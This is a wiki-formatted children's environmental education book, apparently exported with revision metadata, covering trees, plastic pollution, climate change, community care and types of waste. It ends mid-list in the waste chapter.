it? # How can you protect it? # What changes did you observe over time? ---- === 19. Key Vocabulary === '''Tree:''' A large woody plant with a trunk, branches, leaves, and roots. '''Photosynthesis:''' The process by which green plants use sunlight, water, and carbon dioxide to make food and release oxygen. '''Habitat:''' The natural home or environment of a plant or animal. '''Deforestation:''' The large-scale removal of forests or trees. '''Soil erosion:''' The removal of soil by agents such as water or wind. '''Biodiversity:''' The variety of living organisms in an area or on Earth. '''Forest:''' A large area dominated by trees and associated plants and animals. '''Sustainable:''' Using resources in a way that allows them to remain available for the future. '''Carbon dioxide:''' A gas in the atmosphere that plants use during photosynthesis and that also contributes to the greenhouse effect. ---- === 20. Summary === Trees are essential parts of our environment. They provide '''food, shade, oxygen, habitats, materials, and protection for soil and water'''. They also absorb carbon dioxide and store carbon. However, uncontrolled cutting and destruction of forests can cause deforestation, habitat loss, soil erosion, and other environmental problems. We can protect trees by '''planting appropriate trees, caring for young trees, reducing unnecessary tree cutting, using forest products responsibly, and protecting natural forests'''. Trees are more than sources of wood and fruit. They are living parts of ecosystems that support people, animals, and the environment.. === Activity === Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes. == Chapter 5: Plastic Pollution == === Introduction === Plastic is one of the most widely used materials in the modern world. We find plastic in bottles, bags, food packaging, toys, containers, clothes, electronics, and many other products. Plastic is useful because it is light, strong, waterproof, and relatively inexpensive. However, when plastic is used carelessly and discarded improperly, it can become a serious environmental problem. '''Plastic pollution''' occurs when plastic waste accumulates in places where it can harm people, animals, and the environment. The good news is that everyone can help reduce plastic pollution by making responsible choices about how we use, reuse, collect, and dispose of plastic. ---- === 1. What Is Plastic? === Plastic is a group of materials made mainly from polymers. Many plastics are produced from fossil-fuel-based raw materials, although some newer plastics are made partly or entirely from other sources. Plastic can be manufactured into many different shapes and forms. Examples include: * Plastic bags * Bottles * Food containers * Packaging * Pipes * Toys * Furniture * Household equipment Because plastic can be made into so many useful products, it has become an important material in everyday life. ---- === 2. What Is Plastic Pollution? === '''Plastic pollution''' is the accumulation or presence of plastic waste in the environment in ways that cause harm or create environmental problems. Plastic waste can be found: * On streets * In drainage channels * In gardens * On beaches * In rivers and lakes * In wetlands * In forests * In agricultural areas * In oceans Plastic that is thrown on the ground can be carried by wind or rain into drainage systems and waterways. ---- === 3. Common Sources of Plastic Waste === Plastic waste comes from many activities. ==== At Home ==== Households may produce plastic waste from: * Shopping bags * Food packaging * Bottles * Containers * Wrappers * Disposable utensils ==== At School ==== Schools may produce plastic waste from: * Water bottles * Snack wrappers * Packaging * Plastic stationery * Disposable food containers ==== In Businesses ==== Shops, restaurants, markets, and industries may generate large amounts of plastic packaging and other plastic waste. ==== In Agriculture ==== Some agricultural activities use plastic materials such as containers, packaging, irrigation components, and other products. ---- === 4. Why Does Plastic Become a Problem? === Plastic itself can be useful. The problem often occurs when it is '''used unnecessarily, discarded carelessly, or poorly managed'''. Plastic can persist in the environment for long periods. Larger plastic items can break into smaller pieces called '''microplastics''' rather than simply disappearing. When plastic waste is not collected or managed properly, it can spread through the environment. ---- === 5. Plastic Pollution and Water === Plastic waste can enter rivers, lakes, wetlands, and oceans. It may be carried into waterways by: * Rain * Floodwater * Wind * Poorly managed rubbish * Drainage systems Once plastic enters water, it can interfere with aquatic ecosystems and make waterways dirty. Plastic waste can also block drains and contribute to flooding when drainage systems become obstructed. ---- === 6. Plastic Pollution and Animals === Animals can be harmed by plastic pollution. Some animals may mistake plastic for food and swallow it. This can cause injury, illness, or blockage of the digestive system. Animals can also become trapped or entangled in plastic materials such as bags, strings, fishing lines, and other discarded objects. Keeping plastic waste out of natural habitats helps protect wildlife. ---- === 7. Microplastics === '''Microplastics''' are very small pieces of plastic, generally less than 5 millimetres in size. They can be produced when larger plastic items break down into smaller pieces. Some microplastics also come directly from products or industrial processes. Because they are so small, microplastics can be difficult to remove from the environment. They have been detected in many environmental settings, including water, soil, air, and living organisms. Scientists continue to study their effects on ecosystems and human health. ---- === 8. Plastic Pollution and Soil === Plastic waste can accumulate on land and become mixed with soil. This can: * Make land unattractive and difficult to manage. * Interfere with farming activities. * Harm animals that live in or feed from the soil. * Break down into smaller plastic particles. * Carry pollutants into the wider environment. Farmers and communities can help by preventing plastic waste from being dumped on agricultural land. ---- === 9. Burning Plastic === Some people burn plastic waste because they want to get rid of it quickly. However, '''burning plastic in open fires is not a safe waste-management method'''. Depending on the type of plastic and how it burns, smoke can contain harmful pollutants and fine particles. Instead of burning plastic, it is better to: * Reduce unnecessary plastic use. * Reuse suitable items. * Separate recyclable materials. * Use appropriate waste-collection services. * Dispose of residual waste through approved systems. ---- === 10. Plastic Recycling === '''Recycling''' involves collecting and processing used materials so that they can become inputs for new products. Some types of plastic can be recycled. However, not every plastic item is accepted by every recycling system. Recycling facilities may differ in the types of plastics they can process. Therefore, people should follow the sorting instructions provided by their local waste-management or recycling service. ---- === 11. Reuse Before Recycling === Recycling is useful, but '''reuse can sometimes be even simpler'''. For example, a durable container can be used repeatedly instead of being thrown away after one use. Reusable alternatives may include: * Shopping bags * Water bottles * Food containers * Cups * Lunch boxes The best option depends on the product and how it is used. The important principle is to avoid unnecessary waste. ---- === 12. How Can We Reduce Plastic Pollution? === Everyone can take practical steps. ==== A. Refuse Unnecessary Plastic ==== If you do not need a disposable plastic item, avoid taking it. ==== B. Reduce Plastic Use ==== Choose products with less unnecessary packaging when practical. ==== C. Reuse ==== Use suitable durable products more than once. ==== D. Recycle ==== Separate recyclable plastic according to local collection requirements. ==== E. Dispose Properly ==== Put plastic waste into the correct waste container rather than throwing it on the ground. ==== F. Keep Waterways Clean ==== Never throw plastic into rivers, lakes, wetlands, drainage channels, or other water bodies. ---- === 13. Plastic Pollution at School === Students can help reduce plastic pollution at school. They can: * Carry reusable water bottles. * Avoid unnecessary disposable packaging. * Use rubbish bins correctly. * Separate recyclable waste where a recycling system exists. * Participate in clean-up activities. * Encourage classmates not to litter. * Report overflowing rubbish bins to teachers or school administrators. A clean school environment begins with responsible everyday habits. ---- === 14. Plastic Pollution in the Community === Communities can work together to reduce plastic pollution. Useful actions include: * Organising clean-up activities. * Providing appropriate rubbish bins. * Supporting waste collection. * Encouraging reusable shopping bags. * Educating residents about waste separation. * Preventing dumping in drainage channels. * Supporting responsible recycling initiatives. Businesses can also help by reducing unnecessary packaging and improving the collection and management of plastic waste. ---- === 15. The Plastic Pollution Solution === There is no single solution to plastic pollution. A successful approach involves several actions: '''Prevent → Reduce → Reuse → Recycle → Dispose safely''' This means we should think about waste '''before''' we create it. For example:<blockquote>Instead of buying a disposable plastic bottle every day, a person may carry a suitable reusable bottle and refill it with safe drinking water.</blockquote>Small changes repeated by many people can make a significant difference. ---- === 16. Practical Activity: Plastic Audit === ==== Activity ==== For one day, collect or record the plastic waste produced by your household or class. Group the items into categories such as: * Bottles * Bags * Wrappers * Containers * Other plastic items Then discuss: # Which type of plastic waste was most common? # Which items could have been avoided? # Which items could be reused? # Which items could potentially be recycled? # How could your household or class produce less plastic waste? Create a '''“Plastic Reduction Plan”''' with three actions that your class can follow for one month. ---- === 17. Key Vocabulary === '''Plastic:''' A group of synthetic or semi-synthetic materials made mainly from polymers. '''Plastic pollution:''' The accumulation or presence of plastic waste in the environment in ways that cause harm or environmental problems. '''Microplastic:''' A very small plastic particle, generally less than 5 millimetres in size. '''Recycle:''' To process used materials so they can be used to make new products. '''Reuse:''' To use an item again instead of throwing it away. '''Litter:''' Waste that has been carelessly discarded in the environment. '''Waste management:''' The collection, sorting, treatment, recovery, and safe disposal of waste. '''Biodegradable:''' Able to break down naturally through biological processes. ---- === 18. Questions for Discussion === # What is plastic pollution? # Give five examples of plastic items used in your community. # How can plastic enter rivers and lakes? # How can plastic harm animals? # What are microplastics? # Why is burning plastic in open fires a problem? # What is the difference between reusing and recycling? # How can students reduce plastic waste at school? # Why should plastic not be thrown into drainage channels? # What three actions can your community take to reduce plastic pollution? ---- === 19. Summary === Plastic is a useful material, but poor management of plastic waste can cause pollution on land and in water. Plastic waste can block drainage systems, damage habitats, harm animals, and break down into microplastics. Burning plastic in open fires can also release harmful pollutants. We can reduce plastic pollution by following the principles of: '''Refuse → Reduce → Reuse → Recycle → Dispose safely''' Everyone has a role to play. At home, at school, in markets, and throughout our communities, responsible choices can help keep our environment clean.<blockquote>'''Use plastic wisely, keep it out of nature, and give every piece of waste the right place.'''</blockquote> == Chapter 6: Our Changing World == === Introduction === The Earth is our home. It provides us with air to breathe, water to drink, food to eat, and land on which we live and work. The Earth's climate also affects plants, animals, agriculture, and human activities. Today, the Earth's climate is changing. '''Climate change''' refers to long-term changes in the average conditions of the Earth's climate, including changes in temperature, rainfall, and weather patterns. Climate has changed naturally throughout Earth's history. However, human activities have caused a significant increase in greenhouse gases in the atmosphere, contributing to the current warming of the planet. Understanding climate change helps us make informed choices about how to protect people, communities, and the natural environment. ---- === 1. What Is Climate? === '''Climate''' is the usual pattern of weather in a particular place over a long period. Climate includes things such as: * Temperature * Rainfall * Humidity * Wind * Seasons For example, one rainy day tells us about '''weather''', while the typical pattern of rainfall over many years tells us about '''climate'''. === Weather and Climate === '''Weather:''' What the atmosphere is like over a short period. '''Climate:''' The long-term pattern of atmospheric conditions. A simple way to remember this is:<blockquote>'''Weather is what we experience today; climate is the pattern we observe over many years.'''</blockquote> ---- === 2. What Is Climate Change? === '''Climate change''' is a long-term change in the Earth's climate. It can involve changes in: * Average temperatures * Rainfall patterns * The frequency or intensity of some extreme weather events * Sea levels * Glaciers and ice * Oceans and ecosystems Climate change is not simply about the Earth becoming warmer every day. Different regions can experience different changes. ---- === 3. The Greenhouse Effect === The Earth's atmosphere contains gases called '''greenhouse gases'''. Important greenhouse gases include: * Carbon dioxide * Methane * Nitrous oxide * Water vapour These gases help keep the Earth warm enough for life. This natural process is called the '''greenhouse effect'''. Without the natural greenhouse effect, Earth would be much colder. The problem is that human activities have increased the concentrations of several greenhouse gases in the atmosphere. This strengthens the greenhouse effect and causes additional warming. ---- === 4. Causes of Modern Climate Change === Human activities are the main cause of the recent long-term warming of the Earth's climate. Major sources of greenhouse gas emissions include: ==== A. Burning Fossil Fuels ==== Coal, oil, and natural gas are burned to produce energy for: * Electricity * Transport * Industry * Heating and cooking Burning fossil fuels releases carbon dioxide. ==== B. Deforestation ==== Trees absorb carbon dioxide as they grow. When forests are destroyed, this carbon-storage capacity is reduced, and carbon can also be released into the atmosphere. ==== C. Agriculture ==== Agriculture can produce greenhouse gases such as methane and nitrous oxide. Sources include: * Livestock * Rice cultivation * Fertiliser use * Management of agricultural soils ==== D. Industry ==== Some industrial processes release greenhouse gases directly or use large amounts of fossil-fuel energy. ==== E. Waste ==== Poorly managed waste can produce greenhouse gases. For example, organic waste decomposing without enough oxygen in landfills can generate methane. ---- === 5. Signs of a Changing Climate === Scientists use observations from many parts of the world to study climate change. Evidence includes: * Rising global average temperatures * Warming oceans * Melting glaciers and ice sheets * Rising sea levels * Changes in some ecosystems * Changes in the timing or distribution of some biological events These changes occur over long periods, so scientists use measurements collected over many years. ---- === 6. Climate Change and Water === Climate change can affect water resources. Changes in temperature and rainfall can influence: * Rivers * Lakes * Groundwater * Soil moisture * Water availability Some areas may experience heavier rainfall or flooding, while others may experience longer or more severe dry periods. Changes in water availability can affect households, agriculture, animals, and ecosystems. ---- === 7. Climate Change and Agriculture === Agriculture depends heavily on climate. Farmers need suitable: * Rainfall * Temperatures * Soil conditions * Growing seasons Climate change can make farming more difficult when rainfall becomes less predictable or temperatures become unsuitable for certain crops. Farmers can respond through '''adaptation''', such as: * Planting drought-tolerant crops where appropriate * Improving water management * Using soil-conservation methods * Adjusting planting dates * Diversifying crops and livelihoods The best adaptation measures depend on local conditions. ---- === 8. Climate Change and Animals === Animals depend on suitable habitats, food, water, and temperatures. As climate conditions change, some species may: * Move to new areas * Change feeding or breeding patterns * Face greater pressure from habitat changes * Become more vulnerable to disease or other environmental stresses Species that cannot adapt or move quickly enough may face increased risks. Protecting natural habitats can help wildlife cope with environmental changes. ---- === 9. Climate Change and Forests === Forests are important in the fight against climate change. Trees remove carbon dioxide from the atmosphere and store carbon in their: * Trunks * Branches * Leaves * Roots * Soil Forests also provide habitats, protect soil, support water systems, and provide resources for communities. Protecting forests and managing them sustainably can therefore provide both environmental and social benefits. ---- === 10. Climate Change and Human Health === Climate change can affect human health in several ways. For example, changes in temperature can increase heat-related risks. Flooding can damage homes and sanitation systems, while drought can affect food and water supplies. Climate change can also influence the conditions under which some disease-carrying organisms survive and spread. The effects are not the same everywhere. Local conditions, healthcare systems, infrastructure, and people's ability to adapt all matter. ---- === 11. Climate Change and Extreme Weather === Climate change does not cause every individual weather event. However, warming can influence the likelihood or intensity of '''some''' extreme events. Examples include: * Heatwaves * Heavy rainfall * Flooding * Droughts The relationship differs between types of events and locations, so scientists study individual events and regions carefully. ---- === 12. What Is Climate Change Adaptation? === '''Adaptation''' means adjusting to actual or expected climate changes in order to reduce harm or take advantage of possible opportunities. Examples include: * Building stronger drainage systems. * Protecting wetlands. * Improving water storage. * Growing crops suited to changing conditions. * Planting trees for shade. * Developing early-warning systems for dangerous weather. * Improving building designs. Adaptation helps communities prepare for changes that are already occurring or expected. ---- === 13. What Is Climate Change Mitigation? === '''Mitigation''' means reducing greenhouse gas emissions or increasing the amount of greenhouse gases removed from the atmosphere. Examples include: * Using renewable energy such as solar and wind power. * Improving energy efficiency. * Using public transport where practical. * Walking or cycling for suitable journeys. * Protecting and restoring forests. * Reducing unnecessary waste. * Improving waste management. * Developing lower-emission technologies. Mitigation addresses the causes of climate change, while adaptation focuses on reducing the harm caused by its effects. ---- === 14. What Can Students Do? === Students may not control large industries or national policies, but their everyday actions can contribute to environmental protection. ==== At School ==== Students can: * Switch off unnecessary lights and electrical equipment. * Avoid wasting paper. * Walk or cycle where it is safe and practical. * Use reusable items where appropriate. * Plant and care for trees. * Prevent littering. * Protect school gardens and green spaces. ==== At Home ==== Families can: * Use energy efficiently. * Reduce unnecessary waste. * Reuse suitable items. * Avoid unnecessary burning of waste. * Save water. * Plant and care for appropriate trees. * Choose lower-waste options where practical. Individual actions are useful, but addressing climate change also requires action by communities, businesses, governments, and other institutions. ---- === 15. Climate Change and Our Community === Communities can work together to become more resilient. Useful activities include: * Protecting forests and wetlands. * Improving drainage. * Maintaining clean water sources. * Planting appropriate trees. * Using sustainable farming practices. * Preparing emergency plans. * Sharing information about climate risks. * Supporting reliable weather and early-warning information. Local knowledge is also valuable. People who have lived in an area for many years may notice changes in rainfall, seasons, water availability, or farming conditions. Combining local knowledge with scientific information can help communities plan effectively. ---- === 16. A Greener Future === A changing climate presents challenges, but people can take action. A greener future can involve: * Clean and efficient energy * Sustainable agriculture * Protected forests * Healthy wetlands * Less waste * Cleaner transport * Efficient use of water * Climate-resilient communities Young people have an important role because today's decisions will affect the world they live in throughout their lives. ---- === 17. Practical Activity: Observe Your Environment === ==== Activity ==== Keep a simple weather diary for two weeks. Each day, record: * Temperature if a thermometer is available * Whether it rained * Approximate amount of rainfall if measurable * Cloud conditions * Wind conditions * Any unusual weather observations At the end of two weeks, discuss: # Which days were rainy? # Which days were dry? # Did the weather change from day to day? # Can two weeks of observations tell us the long-term climate of your area? Why or why not? # Why do scientists need measurements collected over many years to study climate? This activity helps students understand the difference between '''weather''' and '''climate'''. ---- === 18. Key Vocabulary === '''Climate:''' The long-term pattern of weather conditions in a particular area. '''Climate change:''' Long-term changes in the Earth's climate. '''Greenhouse gas:''' A gas that absorbs and re-emits infrared radiation, contributing to the greenhouse effect. '''Greenhouse effect:''' The natural process by which certain atmospheric gases help keep Earth warm. '''Global warming:''' The long-term increase in Earth's average surface temperature. '''Deforestation:''' The large-scale removal of forests or trees. '''Mitigation:''' Actions that reduce greenhouse gas emissions or increase greenhouse gas removal. '''Adaptation:''' Adjustments that help people and ecosystems cope with actual or expected climate changes. '''Renewable energy:''' Energy from sources that are naturally replenished, such as sunlight, wind, and flowing water. '''Resilience:''' The ability of people, communities, or ecosystems to prepare for, cope with, and recover from difficulties. ---- === 19. Questions for Discussion === # What is climate? # What is the difference between weather and climate? # What is climate change? # What is the greenhouse effect? # Name four human activities that contribute to greenhouse gas emissions. # How can climate change affect agriculture? # How can climate change affect water resources? # What is the difference between adaptation and mitigation? # How can forests help address climate change? # What can students do to help protect the environment? # Why is it important to collect climate information over many years? # How can your community prepare for climate-related risks? ---- === 20. Summary === Climate is the long-term pattern of weather in a place. '''Climate change''' refers to long-term changes in climate, including changes in temperature and rainfall patterns. The Earth's climate has changed naturally in the past, but human activities—particularly the burning of fossil fuels and changes in land use—have increased greenhouse gas concentrations and caused significant recent warming. Climate change can affect '''water, agriculture, forests, wildlife, human health, and communities'''. People can respond through two important approaches: * '''Mitigation:''' reducing the causes of climate change. * '''Adaptation:''' preparing for and adjusting to its effects. Everyone has a role to play in caring for our planet.<blockquote>'''Our world is changing, and our choices today can help shape the world of tomorrow.'''</blockquote> = References = 3ruonfkjwr2aqcwuw5wnwkf8zb353f4 4670700 4670698 2026-09-17T16:57:37Z Sisterian 3123918 Changed title to: A Young Reader's Guide to a Clean and Healthy Environment. 4670700 wikitext text/x-wiki == '''<big>A Young Reader's Guide to a Clean and Healthy Environment.</big>''' == == '''Book Summary:''' == A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action. === Expected Outcome === The book will encourage children to practice good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities. === Conclusion === The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''. == '''Introduction:''' == Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy. This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility. Remember, '''small actions can make a big difference!''' == Chapter 1: Our Community, Our Responsibility == === Understanding a community === While we traditionally think of a community as the people in a given geographical location, the word can really refer to any group sharing something in common -- '''place''' (such as a city, neighborhood, or school district), '''experience''' (such as shared experience of racism), or '''interest''' (e.g., a community's concern about poverty or violence prevention). These various communities often overlap. A Black art teacher, for example, might see herself (or be seen by others) as a member of the Black, arts, and/or education communities, as well as of a particular faith community. Whichever community defines your work, you will want to get to know it well. Examples of communities include homes, schools, villages and neighborhoods. People in a community share places and resources. They should help one another and work together to solve problems.<ref>{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}</ref> === What do we mean by understanding and describing the community? === Understanding the community entails understanding it in a number of ways. Whether or not the community is defined geographically, it still has a geographic context -- a setting that it exists in. Getting a clear sense of this setting may be key to a full understanding of it. At the same time, it's important to understand the specific community you're concerned with. You have to get to know its people -- their culture, their concerns, and relationships -- and to develop your own relationships with them as well. * ''Physical aspects''. Every community has a physical presence of some sort, even if only one building. Most have a geographic area or areas they are either defined by or attached to. It's important to know the community's size and the look and feel of its buildings, its topography (the lay of the land -- the hills, valleys, rivers, roads, and other features you'd find on a map), and each of its neighborhoods. Also important are how various areas of the community differ from one another, and whether your impression is one of clean, well-maintained houses and streets, or one of shabbiness, dirt, and neglect. If the community is one defined by its population, then its physical properties are also defined by the population: where they live, where they gather, the places that are important to them. The characteristics of those places can tell you a great deal about the people who make up the community. Their self-image, many of their attitudes, and their aspirations are often reflected in the places where they choose -- or are forced by circumstance or discrimination -- to live, work, gather, and play. * ''Infrastructure''. Roads, bridges, transportation (local public transportation, airports, train lines), electricity, landline and mobile telephone service, broadband service, and similar "basics" make up the infrastructure of the community, without which it couldn't function. * ''Patterns of settlement, commerce, and industry''. Where are those physical spaces we've been discussing? Communities reveal their character by where and how they create living and working spaces. Where there are areas with severely inadequate housing and limited services --  substandard housing in areas with few or no services that are the only options for people with lower incomes -- the value the larger community places on those residents seems clear. Are heavy industries located next to residential neighborhoods? If so, who lives in those neighborhoods? Are some parts of the community dangerous, either because of high crime and violence or because of unsafe conditions in the built or natural environment? * ''Demographics''.  It's vital to understand who makes up the community.  Age, gender, race and ethnicity, marital status, education, number of people in household, first language -- these and other statistics make up the demographic profile of the population. When you put them together (e.g.,  the education level of black women ages 18-24), it gives you a clear picture of who community residents are. * ''History''. The long-term history of the community can tell you about community traditions, what the community is, or has been, proud of, and what residents would prefer not to talk about. Recent history can afford valuable information about conflicts and factions within the community, important issues, past and current relationships among key people and groups -- many of the factors that can trip up any effort before it starts if you don't know about and address them. * ''Community leaders, formal and informal''. Some community leaders are elected or appointed -- mayors, city councilors, directors of public works. Others are considered leaders because of their activities or their positions in the community -- community activists, corporate CEO's, college presidents, doctors, clergy.  Still others are recognized as leaders because, they are trusted for their proven integrity, courage, and/or care for others and the good of the community. * ''Community culture, formal and informal''. This covers the spoken and unspoken rules and traditions by which the community lives. It can include everything from community events and slogans -- the blessing of the fishing fleet, the "Artichoke Capital of the World" -- to norms of behavior -- turning a blind eye to alcohol use disorder or domestic violence -- to patterns of discrimination and exercise of power. Understanding the culture and how it developed can be crucial, especially if that's what you're attempting to change. * ''Existing groups''.  Most communities have an array of groups and organizations of different kinds -- service clubs (Lions, Rotary, etc.), faith groups, youth organizations, sports teams and clubs, groups formed around shared interests, the boards of community-wide organizations (the YMCA, the Rotary Club), as well as groups devoted to self-help, advocacy, and activism.  Knowing of the existence and importance of each of these groups can pave the way for alliances or for understanding opposition. * ''Existing institutions''. Every community has institutions that are important to it, and that have more or less credibility with residents. Colleges and universities, libraries, religious institutions, hospitals -- all of these and many others can occupy important places in the community. It's important to know what they are, who represents them, and what influence they wield. * ''Economics''.  Who are the major employers in the community?  What, if any, business or industry is the community's base? Who, if anyone, exercises economic power? How is wealth distributed? Would you characterize the community as poor, working, class, middle class, or affluent?  What are the economic prospects of the population in general and/or the population you're concerned with? * ''Government/Politics''. Understanding the structure of community government is obviously important. Some communities may have strong mayors and weak city councils, others the opposite. Still other communities may have no mayor at all, but only a town manager, or may have a different form of government entirely.  Whatever the government structure, where does political power lie? Understanding where the real power is can be the difference between a successful effort and a vain one. * ''Social structure''. Many aspects of social structure are integrated into other areas -- relationships, politics, economics -- but there are also the questions of how people in the community relate to one another on a daily basis, how problems are (or aren't) resolved, who socializes or does business with whom, etc. This area also includes perceptions and symbols of status and respect, and whether status carries entitlement or responsibility (or both). * ''Attitudes and values''. Again, much of this area may be covered by investigation into others, particularly culture. What does the community care about, and what does it ignore? What are residents' assumptions about the proper way to behave, to dress, to do business, to treat others? Is there widely accepted discrimination against one or more groups by the majority or by those in power? What are the norms for interaction among those who with different opinions or different backgrounds? '''We'll discuss all of these aspects of community in greater detail later in the section.'''<blockquote>There are obviously many more aspects of community that can be explored, such as health or education.  The assumption here is that as part of an assessment, you'll aim for a general understanding of the community, as described in this section, and also assess, with a narrower focus, the specific aspects you're interested in.</blockquote>Once you've explored the relevant areas of the community, you'll have the information to create a community description. Depending on your needs and information, this description might be anything from a two-or three-page outline to an in-depth portrait of the community that extends to tens of pages and includes charts, graphs, photographs, and other elements. The point of doing it is to have a picture of the community at a particular point in time that you can use to provide a context for your community assessment and to see the results of whatever actions you take to bring about change.<blockquote>A community description can be as creative as you're capable of making it.  It can be written as a story, can incorporate photos and commentary from community residents, can be done online and include audio and video, etc. The more interesting the description is, the more people are likely to actually read it.</blockquote> === Caring for Our Surroundings and the enviroment === Our surroundings or environment is the natural world around you the air, water, land, plants, and animals. Everything in nature is part of your environment. You share this environment with people, animals, and plants in your community. === '''How you can care for your surroundings''' === === Reduce, Reuse, and Recycle === You can follow the three-R rule every day. '''Reduce''' means using less so you make less waste. '''Reuse''' means using something again instead of throwing it away. '''Recycle''' means turning old materials into new ones. For example, you can use a reusable lunch bag and water bottle at school. You can decorate an old jar and use it as a pencil holder. You can put paper and plastic bottles in the recycling bin. === Sorting Your Waste === You sort your waste by putting it in the right bin. Banana peels go in the '''compost bin'''. A plastic bottle goes in the '''recycling bin'''. A broken toy that cannot be fixed goes in the '''garbage bin'''. Sorting waste properly helps protect the environment. === Composting === Composting means collecting food waste like; banana peels, left overs and vegetable cuttings. These wastes break down and turn into rich soil for gardens. === Saving Water and Energy === You can save water by turning off the tap while brushing your teeth. You can save electricity by turning off lights when you leave a room. These small actions help protect natural resources every single day. === Planting Trees and Native Plants === Trees clean the air and give animals a home. Planting flowers and native plants in your garden helps birds, bees, and butterflies find food and shelter. This supports the wildlife in your neighborhood. Additionally, you can help by; Cleaning our homes, classrooms and playgrounds, and Keeping water sources clean. * Avoiding damage to public property. * Helping people who need support. === Children's Responsibilities === Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.<ref>{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}</ref> Children should respect others, avoid littering and report dangerous or dirty places to trusted adults. === Short Story: The Rubbish Behind the Library === Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library. The area became clean and beautiful. Other pupils followed their example. '''Lesson:''' Everyone can help to improve the community. === Activity and Discussion === # What is a community? # Name three ways of keeping your school clean. # Why should children care for their surroundings? # Organize a small classroom cleaning activity. == Chapter 2: Types of Waste and Every Piece of Rubbish Has a Place == === Introduction === Every day, people produce waste. We throw away food scraps, plastic bottles, paper, cans, old clothes, broken equipment, and many other things. Waste is a normal part of human life, but the way we handle it determines whether it becomes a danger or a useful resource. Waste that is thrown anywhere can make our surroundings dirty, block drainage channels, pollute water, attract pests, and spread disease. However, when waste is '''sorted, reused, recycled, treated, or disposed of correctly''', it can be managed safely. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. ---- === 1. What Is Waste? === '''Waste''' is any material, substance, or object that a person no longer wants or needs and decides to discard.<ref>{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}</ref> Examples include: * Banana peels * Plastic bottles * Newspapers * Empty tins * Broken glass * Old batteries * Used clothes * Food leftovers * Broken electronic devices Not all waste is the same. Different materials have different effects on the environment and require different methods of handling. ---- === 2. Types of Waste === Waste can be classified in several ways. The most common classification is according to its '''nature and source'''. ==== A. Biodegradable Waste ==== '''Biodegradable waste''' is waste that can be broken down naturally by microorganisms such as bacteria and fungi. Examples include: * Fruit and vegetable peels * Food leftovers * Leaves * Grass * Animal manure * Paper and some untreated natural materials Biodegradable waste can often be turned into '''compost''', which is useful for improving soil. === Example === Instead of throwing banana peels into a general rubbish pile, they can be collected with other organic materials and composted. '''Remember:''' '''Biodegradable = can naturally break down.''' ---- ==== B. Non-Biodegradable Waste ==== '''Non-biodegradable waste''' does not break down easily through natural processes, or it may take a very long time to do so. Examples include: * Plastic bags * Plastic bottles * Glass * Some metals * Synthetic materials Some non-biodegradable materials can be '''reused or recycled''' rather than thrown away. === Why is it a problem? === When non-biodegradable waste is poorly managed, it can remain in the environment for long periods and contribute to land and water pollution. '''Remember:''' '''Non-biodegradable = does not easily break down naturally.''' ---- === 3. Recyclable Waste === '''Recyclable waste''' consists of materials that can be collected and processed into new products.<ref>{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}</ref> Common recyclable materials include: * Paper * Cardboard * Certain plastics * Aluminium cans * Steel cans * Glass bottles and containers For recycling to work effectively, materials should be '''sorted and kept reasonably clean'''.<ref>{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}</ref> === Example === An empty metal drink can can be collected, processed, and used to make new metal products instead of being sent directly to a landfill. ---- === 4. Hazardous Waste === '''Hazardous waste''' is waste that can cause harm to people, animals, or the environment if it is handled or disposed of incorrectly. Examples include: * Used batteries * Certain chemicals * Pesticide containers * Some paints and solvents * Medical sharps * Some electronic waste * Certain cleaning products Hazardous waste should '''not simply be mixed with ordinary household rubbish'''. It may require special collection, treatment, or disposal. ==== Safety rule ==== Never play with, burn, open, or pour unknown chemicals or hazardous waste into drains, rivers, or onto the ground. ---- === 5. Electronic Waste === '''Electronic waste''', commonly called '''e-waste''', includes unwanted electrical and electronic equipment. Examples include: * Old mobile phones * Computers * Televisions * Radios * Chargers * Keyboards * Printers * Broken appliances Electronic devices contain valuable materials that can sometimes be recovered and reused. They may also contain substances that require careful handling. Therefore, unwanted electronics should be taken to appropriate collection or recycling facilities where available. ---- === 6. Medical Waste === '''Medical waste''' is waste produced during healthcare activities. Examples include: * Used syringes * Needles * Bandages * Gloves * Contaminated dressings * Certain medicines and medical materials Medical waste can pose health risks if it is not properly handled. For example, '''used needles should never be placed loosely into ordinary rubbish''', because they can injure people and potentially transmit infection. Healthcare facilities use special containers and procedures for managing such waste. ---- === 7. Construction and Demolition Waste === Construction activities produce waste such as: * Broken bricks * Concrete * Soil * Wood * Roofing materials * Scrap metal * Tiles Some of these materials can be reused in construction or recycled. Good construction waste management reduces unnecessary dumping and saves useful materials. ---- === 8. Liquid Waste === '''Liquid waste''' is waste in liquid form. Examples include: * 